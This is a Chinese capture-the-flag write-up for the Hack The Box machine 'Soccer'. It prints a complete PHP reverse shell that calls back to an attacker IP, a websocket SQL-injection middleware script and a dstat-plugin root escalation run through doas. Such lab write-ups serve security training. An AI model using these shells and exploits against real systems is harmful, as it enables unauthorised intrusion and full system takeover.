Hackthebox——Soccer

admin 2023年3月16日15:50:34评论95 views字数 13444阅读44分48秒阅读模式

目录

信息收集[1]

端口扫描[2]目录扫描[3]

漏洞探测[4]

web后台登陆页面[5]shell后收集[6]websocket之sql注入[7]

提权[8]

doas+dstat提权[9]

总结[10]




信息收集

端口扫描

nmap -sV -p-1000 10.10.11.194


PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)80/tcp open  http    nginx 1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


目录扫描

sudo python3 dirsearch.py -u http://soccer.htb/


http://soccer.htb/tiny


是一个后台

漏洞探测

web后台登陆页面

尝试万能密码失败。进行搜索。

Hackthebox——Soccer

得知是一个服务器文件目录程序后。进一步搜索。

Hackthebox——Soccer

成功登陆。具有文件上传功能但是没有当前目录下没有上传权限。可以看到在tiny/uploads下有上传权限。那么上传一个反弹shell上去。

Hackthebox——Soccer


<?php// Copyright (c) 2020 Ivan Sincek// v2.3// Requires PHP v5.0.0 or greater.// Works on Linux OS, macOS, and Windows OS.// See the original script at https://github.com/pentestmonkey/php-reverse-shell.class Shell {    private $addr  = null;    private $port  = null;    private $os    = null;    private $shell = null;    private $descriptorspec = array(        0 => array('pipe', 'r'), // shell can read from STDIN        1 => array('pipe', 'w'), // shell can write to STDOUT        2 => array('pipe', 'w')  // shell can write to STDERR    );    private $buffer  = 1024;    // read/write buffer size    private $clen    = 0;       // command length    private $error   = false;   // stream read/write error    public function __construct($addr, $port) {        $this->addr = $addr;        $this->port = $port;    }    private function detect() {        $detected = true;        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS            $this->os    = 'LINUX';            $this->shell = '/bin/bash';        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {            $this->os    = 'WINDOWS';            $this->shell = 'cmd.exe';        } else {            $detected = false;            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...n";        }        return $detected;    }    private function daemonize() {        $exit = false;        if (!function_exists('pcntl_fork')) {            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...n";        } else if (($pid = @pcntl_fork()) < 0) {            echo "DAEMONIZE: Cannot fork off the parent process, moving on...n";        } else if ($pid > 0) {            $exit = true;            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...n";        } else if (posix_setsid() < 0) {            // once daemonized you will actually no longer see the script's dump            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...n";        } else {            echo "DAEMONIZE: Completed successfully!n";        }        return $exit;    }    private function settings() {        @error_reporting(0);        @set_time_limit(0); // do not impose the script execution time limit        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories    }    private function dump($data) {        $data = str_replace('<', '<', $data);        $data = str_replace('>', '>', $data);        echo $data;    }    private function read($stream, $name, $buffer) {        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream            $this->error = true;                            // set global error flag            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...n";        }        return $data;    }    private function write($stream, $name, $data) {        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream            $this->error = true;                            // set global error flag            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...n";        }        return $bytes;    }    // read/write method for non-blocking streams    private function rw($input, $output, $iname, $oname) {        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length            $this->dump($data); // script's dump        }    }    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)    // we must read the exact byte length from a stream and not a single byte more    private function brw($input, $output, $iname, $oname) {        $fstat = fstat($input);        $size = $fstat['size'];        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {            // for some reason Windows OS pipes STDIN into STDOUT            // we do not like that            // we need to discard the data from the stream            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {                $this->clen -= $bytes;                $size -= $bytes;            }        }        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {            $size -= $bytes;            $this->dump($data); // script's dump        }    }    public function run() {        if ($this->detect() && !$this->daemonize()) {            $this->settings();
// ----- SOCKET BEGIN ----- $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); if (!$socket) { echo "SOC_ERROR: {$errno}: {$errstr}n"; } else { stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN ----- $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null); if (!$process) { echo "PROC_ERROR: Cannot start the shelln"; } else { foreach ($pipes as $pipe) { stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS }
// ----- WORK BEGIN ----- $status = proc_get_status($process); @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "n"); do { $status = proc_get_status($process); if (feof($socket)) { // check for end-of-file on SOCKET echo "SOC_ERROR: Shell connection has been terminatedn"; break; } else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running echo "PROC_ERROR: Shell process has been terminatedn"; break; // feof() does not work with blocking streams } // use proc_get_status() instead $streams = array( 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 'write' => null, 'except' => null ); $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS if ($num_changed_streams === false) { echo "STRM_ERROR: stream_select() failedn"; break; } else if ($num_changed_streams > 0) { if ($this->os === 'LINUX') { if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } else if ($this->os === 'WINDOWS') { // order is important if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET } } } while (!$this->error); // ------ WORK END ------
foreach ($pipes as $pipe) { fclose($pipe); } proc_close($process); } // ------ SHELL END ------
fclose($socket); } // ------ SOCKET END ------
} }}echo '<pre>';// change the host address and/or port number as necessary$sh = new Shell('10.10.16.18', 1113);$sh->run();unset($sh);// garbage collector requires PHP v5.3.0 or greater// @gc_collect_cycles();echo '</pre>';?>


成功getshell。

在/home/player找到了user.txt但是没有权限。因为当前用户是www-data。那么我们需要先提升到player

shell后收集

cat /etc/passwd


root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinmessagebus:x:103:106::/nonexistent:/usr/sbin/nologinsyslog:x:104:110::/home/syslog:/usr/sbin/nologin_apt:x:105:65534::/nonexistent:/usr/sbin/nologintss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/falseuuidd:x:107:112::/run/uuidd:/usr/sbin/nologintcpdump:x:108:113::/nonexistent:/usr/sbin/nologinsshd:x:109:65534::/run/sshd:/usr/sbin/nologinlandscape:x:110:115::/var/lib/landscape:/usr/sbin/nologinpollinate:x:111:1::/var/cache/pollinate:/bin/falsefwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologinsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/falseplayer:x:1001:1001::/home/player:/bin/bashmysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false_laurel:x:997:997::/var/log/laurel:/bin/false


find / -type f -perm -04000 -ls 2>/dev/null


    70968     44 -rwsr-xr-x   1 root     root        42224 Nov 17 09:09 /usr/local/bin/doas    18263    140 -rwsr-xr-x   1 root     root       142792 Nov 28 04:55 /usr/lib/snapd/snap-confine     7696     52 -rwsr-xr--   1 root     messagebus    51344 Oct 25 13:09 /usr/lib/dbus-1.0/dbus-daemon-launch-helper    14300    464 -rwsr-xr-x   1 root     root         473576 Mar 30  2022 /usr/lib/openssh/ssh-keysign    16207     24 -rwsr-xr-x   1 root     root          22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1     7700     16 -rwsr-xr-x   1 root     root          14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device     1753     40 -rwsr-xr-x   1 root     root          39144 Feb  7  2022 /usr/bin/umount     2093     40 -rwsr-xr-x   1 root     root          39144 Mar  7  2020 /usr/bin/fusermount     1752     56 -rwsr-xr-x   1 root     root          55528 Feb  7  2022 /usr/bin/mount     1647     68 -rwsr-xr-x   1 root     root          67816 Feb  7  2022 /usr/bin/su    13720     44 -rwsr-xr-x   1 root     root          44784 Nov 29 11:53 /usr/bin/newgrp     3023     84 -rwsr-xr-x   1 root     root          85064 Nov 29 11:53 /usr/bin/chfn     1724    164 -rwsr-xr-x   1 root     root         166056 Jan 19  2021 /usr/bin/sudo     1573   1156 -rwsr-sr-x   1 root     root        1183448 Apr 18  2022 /usr/bin/bash     3027     68 -rwsr-xr-x   1 root     root          68208 Nov 29 11:53 /usr/bin/passwd     3026     88 -rwsr-xr-x   1 root     root          88464 Nov 29 11:53 /usr/bin/gpasswd     3024     52 -rwsr-xr-x   1 root     root          53040 Nov 29 11:53 /usr/bin/chsh     2242     56 -rwsr-sr-x   1 daemon   daemon        55560 Nov 12  2018 /usr/bin/at      135    121 -rwsr-xr-x   1 root     root         123560 Nov 25 17:29 /snap/snapd/17883/usr/lib/snapd/snap-confine      814     84 -rwsr-xr-x   1 root     root          85064 Mar 14  2022 /snap/core20/1695/usr/bin/chfn      820     52 -rwsr-xr-x   1 root     root          53040 Mar 14  2022 /snap/core20/1695/usr/bin/chsh      889     87 -rwsr-xr-x   1 root     root          88464 Mar 14  2022 /snap/core20/1695/usr/bin/gpasswd      973     55 -rwsr-xr-x   1 root     root          55528 Feb  7  2022 /snap/core20/1695/usr/bin/mount      982     44 -rwsr-xr-x   1 root     root          44784 Mar 14  2022 /snap/core20/1695/usr/bin/newgrp      997     67 -rwsr-xr-x   1 root     root          68208 Mar 14  2022 /snap/core20/1695/usr/bin/passwd     1107     67 -rwsr-xr-x   1 root     root          67816 Feb  7  2022 /snap/core20/1695/usr/bin/su     1108    163 -rwsr-xr-x   1 root     root         166056 Jan 19  2021 /snap/core20/1695/usr/bin/sudo     1166     39 -rwsr-xr-x   1 root     root          39144 Feb  7  2022 /snap/core20/1695/usr/bin/umount     1255     51 -rwsr-xr--   1 root     systemd-resolve    51344 Oct 2 


shell掉了。这玩意儿还会自动清空shell?会自动断线服了。这个shell不稳定换一个。也会断。麻了。没python环境。

这里我首先注意到了doas是以root执行的,百度了一下doas可以用来代替sudo。

但是!www-data不能使用这个doas。因此这条路应该是后面升级到player后的提权到root。

从linpeas.sh收集到了一个子域名.


soc-player.soccer.htb


https://github.com/carlospolop/PEASS-ng/releases/tag/20221218

我们添加解析记录

echo "10.10.11.194 soc-player.soccer.htb">>/etc/hosts

然后访问该地址。随意注册登陆后。在源码中发现了这个东西。创建了一个新的websocket。

Hackthebox——Soccer

到这里不会了。看了看wp,这里是一个websocket的sql注入。没见过

websocket之sql注入

这里不会了。查了一下wp。发现这里是一个教websocket的sql注入。

这里是一篇websocket_sql注入的文章。没有讲具体的原理,讲了与sqlmap一起实现盲注。

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

对于他给出的脚本我们需要修改这两处。


from http.server import SimpleHTTPRequestHandlerfrom socketserver import TCPServerfrom urllib.parse import unquote, urlparsefrom websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9001"
def send_ws(payload): ws = create_connection(ws_server) # If the server returns a response on connect, use below line #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON message = unquote(payload).replace('"',''') # replacing " with ' to avoid breaking JSON structure data = '{"id":"%s"}' % message
ws.send(data) resp = ws.recv() ws.close()
if resp: return resp else: return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self) -> None: self.send_response(200) try: payload = urlparse(self.path).query.split('=',1)[1] except IndexError: payload = False
if payload: content = send_ws(payload) else: content = 'No parameters specified!'
self.send_header("Content-type", content_type) self.end_headers() self.wfile.write(content.encode()) return
class _TCPServer(TCPServer): allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler) httpd.serve_forever()

print("[+] Starting MiddleWare Server")print("[+] Send payloads in http://localhost:8081/?id=*")
try: middleware_server(('0.0.0.0',8081))except KeyboardInterrupt: pass


Hackthebox——Soccer

盲注太慢了。因此直接抄了结果。

Hackthebox——Soccer

这里拿到了账户。

提权

登陆player之后,我们可以获取user.txt


241aa81bec7c6f3fedf19446f4f4f873


根据前面的收集,可以知道doas来进行提权。

doas+dstat提权

尝试读取doas配置文件cat /etc/doas.conf 发现读不了,不存在。

那么查找一下

find / -type f -name doas.conf 2>/dev/null


/usr/local/etc/doas.conf


cat /usr/local/etc/doas.conf


permit nopass player as root cmd /usr/bin/dstat


dstat有个功能就是提供了用户自定义插件的能力,既然用户可以自定义,那么当这个命令可以被sudo调用时,且插件目录可写的时候,就可以利用插件进行提权.

对于dstat常用的目录有下列,一般二个没有权限。那么我们选择第一个。


/usr/local/share/dstat/usr/share/dstat


cd /usr/loac/share/dstat

vim dstat_rev.py


import subprocesssubprocess.run(["bash"]) 


doas /usr/bin/dstat —rev

随后就会开启一个root权限的bash_shell

cat /root/root.txt


d521653cad82ca6372f5958de8648f07


总结

这个靶机知识点和利用都比较简单。

主要是某些知识点没有见过。

首先我们在通过信息收集到了后台登陆页面

→随后通过谷歌搜索找到了默认的账户

→登陆后台后,发现了文件上传点。通过文件上传拿到了www-data的shell

→拿到shell后进行进一步收集,发现了很多利用点。但是都没办法利用,最后找到了一个子域名

→在子域名存在任意注册登陆,发现了websocket功能

→对websocket进行exp搜索,发现了一个盲sql注入的exp,进而拿到了一个初级的靶机账户player

→通过player账户后,我们继续搜索root可以执行的程序。发现了doas,并通过搜索得知了其功能

→通过doas.conf得知了可以以root执行dstat。再百度dstat得知了其可以自定义插件

→那么就利用自定义插件然后任意文件写入。拿到root权限

References

[1] 信息收集: #信息收集
[2] 端口扫描: #端口扫描
[3] 目录扫描: #目录扫描
[4] 漏洞探测: #漏洞探测
[5] web后台登陆页面: #web后台登陆页面
[6] shell后收集: #shell后收集
[7] websocket之sql注入: #websocket之sql注入
[8] 提权: #提权
[9] doas+dstat提权: #doasdstat提权
[10] 总结: #总结


原文始发于微信公众号(靶机狂魔):Hackthebox——Soccer

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月16日15:50:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hackthebox——Soccerhttps://cn-sec.com/archives/1608280.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息